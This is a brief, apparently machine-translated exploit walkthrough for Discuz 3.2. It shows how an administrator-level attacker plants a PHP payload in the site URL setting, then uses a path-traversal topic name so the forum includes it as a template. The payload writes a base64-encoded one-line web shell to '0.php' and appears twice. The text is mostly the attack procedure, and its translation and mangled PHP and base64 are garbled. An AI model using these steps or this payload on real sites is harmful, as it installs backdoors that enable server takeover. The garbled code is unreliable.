Discuz3.2 vulnerability File Inclusion Vulnerability shell in the background

Discuz3.2 vulnerability File Inclusion Vulnerability shell in the background

Because the topic was not created

Static name
This vulnerability is caused by any restrictions
1. Global-> site information

Website URL:

Http://www.comsenz.com? Php file_put_contents ('0. php', base64_decode ('pd9wahagqgv2ywwojf9qt1nuw2fdktsgpz4 = ');?>

 

 

2. Tools> Update Cache

3. Portal-> HTML Management
Static File Extension: htm
Special HTML storage directory: data/cache

4. Create a topic
Static name [no restrictions here]:.../../template/default/portal/portal_topic_test

 

5. Topic Management
Enable and generate the newly added topic

 

6. Create a new topic
Select the generated./template/default/portal/portal_topic_test.htm as the template Name.
Submit

The php code is executed.

<? Php file_put_contents ('0. php', base64_decode ('pd9wahagqgv2ywwojf9qt1nuw2fdktsgpz4 = ');?>

 

It can be generated not only to the topic directory, but to any directory that can be included!